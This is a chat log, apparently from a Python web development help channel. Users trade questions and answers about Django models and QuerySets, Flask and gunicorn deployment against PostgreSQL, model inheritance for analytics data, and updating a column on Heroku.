in fact, 2-3 times faster than its main competitors among python frameworks

muted gull
#

how do i make the list come in front of ignite and center it?

verbal kestrel
stable bear
#

My web app works off a sqlite3 database stored on the VPS. If I make a separate mobile app, how would it access this data?

silk flume
#

Any advice for the one who is goona start learning web development

inland oak
#

your web front should be quering those endpoints to interact with backend

#

your mobile front should be quering those endpoints to interact with backend

manic crane
#

can someone help me with this bug please : django.db.utils.IntegrityError: null value in column "occupier_id" of relation "Occupy_post" violates not-null constraint my code : ```class Post(models.Model):

a post can only have one user

#a post can only belong to one clique
# filters posts so only published posts are avaible in the home screen.
class PostObjects(models.Manager):
def get_queryset(self):
return super().get_queryset().filter(status = "posted")
options = (
('draft' , 'Draft'),
('posted' , 'Posted'),
)
clique = models.ForeignKey(Clique, on_delete=models.CASCADE, related_name='cliques', blank=False)
content = models.TextField(max_length=400,null=False, blank=False,)
caption = models.CharField(max_length=400,null=False, blank=False,)
posted = models.DateTimeField(default=timezone.now)
occupier = models.ForeignKey(Occupier, on_delete=models.CASCADE,related_name='clique_posts',null=True)
status = models.CharField(max_length=12, choices=options, default='posted')
objects = models.Manager() # default manager
postobjects = PostObjects() # custom manager```

unkempt canopy
#

@manic crane what generated the error? I .e. running makemassages or creating a new object? Could you post that too, please?

crude copper
#

conundrum:

  • Within my venv: run command to migrate database against PostgreSQL (success and tables exist)
  • Same as above, but run command line to create an admin user (success and record exists)
  • Log into flask shell and run User.query.all() and it returns my user from the PostgreSQL table
  • use curl to hit the api, and it says table not found (shows that it is trying to hit sqlite3)
#

that last part I know because i'm tailing the gunicorn logs in supervisor. It even shows that gunicorn is connected through the virtual environment....so i know it is using the same environmental configs

unborn pike
#

I'm looking for a better way to receive http requests on my pythonanywhere web app with Flask... would somebody here be able to help?

cobalt panther
#

Hey...can anyone help me?..I am a beginner in django and I made a project just to learn...the project is not the same as it's given in the documentation... it'll be highly appreciated.

#

Please help me in a doubt that I have written in comments in ques.html which lies in myApp, which is inside templates folder....I have the project on github

#

The doubt is mainly that I want to display a tick mark ✅ on the option a user selected for a given question.

#

I need to access the option that a given user has selected ...and it should grab that uniquely..I mean... irrespective of what other users have chosen.

#

Thanks in advance

#

Please help 🙏🙏

lucid sand
inland oak
#

In order to use vue.js understanding of vanilla js is highly preferable.
Recommending books to start
Head first html/CSS
Head first Javascript

cobalt panther
cobalt panther
cobalt panther
cobalt panther
indigo kettle
#

@cobalt panther in your Question view, you are doing models.Answer.objects.filter(...) which returns a QuerySet, and assigning that to answer in your context

#

so answer is a QuerySet, not an Answer object

#

maybe you should append that call with .first(). This will return a singular Answer object or None

#
data['answer'] = models.Answer.objects.filter(
            question=self.get_object(),
            user=self.request.user
        ).first()```
#

at least, I think this is what you are trying to do. I'm not sure if there should be multiple answers for a single user/question

cobalt panther
#

Well...what I am trying to do is after a user has replied to a question and clicks on that question again,he should be able to see the number of users who chose each option ( written inside brackets in ques.py file) as well as the option he chose(which needs to be represented by a tick mark).

cobalt panther
indigo kettle
#

the filter is constraining to a single user though

#

so it will not include any other users

cobalt panther
#

But I am getting this in the browser....I am just a beginner and would love to correct my mistakes....

#

This is for the user named Alvin

indigo kettle
#

that's being rendered by answer_count from Choice

#

which is different from answer

cobalt panther
cobalt panther
#

So I am not able to find out how to access what option the specific logged in user chose

indigo kettle
#

because answer is a queryset, not an Answer

#

answer.choice is not a thing

#

try doing the .first() thing and see if that does what you want

cobalt panther
#

So the user's choice is stored in the key named first ?....is it stored as a dictionary within data?

indigo kettle
#

not quite

cobalt panther
#

Hmm...then how did you figure out...

indigo kettle
#

.first() is a method to select 1 row from the database

indigo kettle
#

if no row exists, then None is returned

#

You were returning a queryset, basically a list

#

but in this case, you really just want a single answer, or None

#

so .first() makes sense to use

cobalt panther
#

So ...in this case it is accessing the first row of the Answer db?

indigo kettle
#

it is applying your filter

#

and then retrieving one row

#

if you do Answer.objects.all().first() then it will just retrieve some random row

#

not exactly random but not consistent

cobalt panther
#

Hmmm....i see...i was confused as to how to get the option from this...

#

So what is shown in the admin page doesn't actually matter while accessing the content?

indigo kettle
#

I'm not sure what you mean

cobalt panther
#

I just applied some dumb logic to get the option...

indigo kettle
#

it's not simple, keep at it. Np

cobalt panther
#

Hmm....

lean ginkgo
cobalt panther
lean ginkgo
hoary cape
#

Hi all, maybe a stupid one... So i'm struggling a little bit with using Model Inheritance in DJANGO or not using. I have a model that stores analytical data of products. For reporting purposes i have 1 set of 'totals' and per country another set separate (all countries together == total).

How should i do this? Just make 1 model, with all fields in 1 model (product, total_sold, quantity_sold, total_revenue, total_sold_uk, quantity_sold_uk, total_revenue_uk, total_sold_de, quantity_sold_de, total_revenue_de, ....)

Or split them using Multi Table Inheritance or use an abstract method?

I've tried multi table just now, and the problem is that the main table (the totals) get a new row for the same product for every country row).

brave grail
#

Deploying a flask app to a CentOS server running nginx and gunicorn and it is not rendering correctly or working. When it is working, it looks like this:

#

...but when I go to the version hosted on the server it looks like this:

#

(Notice the weird text issue on "Log")

#

Any thoughts on what is happening?

main burrow
#

Looks like you may be unable to locate a CSS file or something

#

Flask usually gives an error if a template is not found

ionic raft
crude copper
# crude copper conundrum: - Within my venv: run command to migrate database against PostgreSQL ...

As a follow up to this: if i execute flask run --host=0.0.0.0 -p 5001 (just to make sure it is on a different port) I can hit the API using curl with no issues (it finds the correct database configuration).

I installed gunicorn via pip and it is in venv/bin/gunicorn...so i execute the command from there. Is it possible that the venv is doing something weird? I see in the gunicorn docs I could also install it at the debian level with aptitude

crude copper
crude copper
# crude copper scratch that....just installed as a debian package from aptitude, started it on ...

For anyone following my self-rants/rampages, I did fix this error. The full error and then me answering my own question are here: https://stackoverflow.com/questions/73069370/flask-sqlalchemy-command-line-shell-use-correct-database-connection-but-a/73074963#73074963

hoary cape
# ionic raft I'd go with multiple tables. Depending on what your model schema/goals are...and...

Understood. I have a Product model, an Order model, OrderItem model, and many more. I now generate analytical data like total number products sold on the fly when a user does a request. I want to move to a cronjob generating the data every night, so that it is cached during the day.
The ProductAnalytics model that i'm looking at will have a FK to the Product and a few columns with general statistic. But now comes the next thing. Products are sold in many different markets(countries) and often analytics are only requested for a specific country. So all data that is in the ProductAnalysis table is also available as split up data per country.

Now i have 1 model, ProductAnalytics with 9 statistics. With and 10 countires. that would mean a 10*9 number of columns added to the model. So i thought a Multitable Inheritance would work out here. But what it does is that for every ProductAnaltycsxxxx there is a new ProductAnalytics row

So the ProductAnaltycsBelgium creates a new ProductAnalytics row, ProductAnaltycsGermany creates another one, etc etc.

I think i would want 1 row in the ProductAnalytics per Product and then linked to that 1 row, per country an additional row that also could be fetched manually.

While typing this i'm currently realizing that i could make this manually, by making OneToOnefields from each ProductAnalyticsCountry model to the ProductAnalytics model....

balmy dock
#

I have running web application on heroku. I changed this line
address = db.Column(db.String(20), nullable=False) into
address = db.Column(db.String(50), nullable=False)
but my PostgresDb is not updated based on that. How can I update that?

And of course i would like to keep the data which are inside

inland oak
balmy dock
alpine saffron
#

Any one here knows difference between SignalR and SignalR-Core. And which of it is best to use. for Realtime data transfer from python to server.

golden bone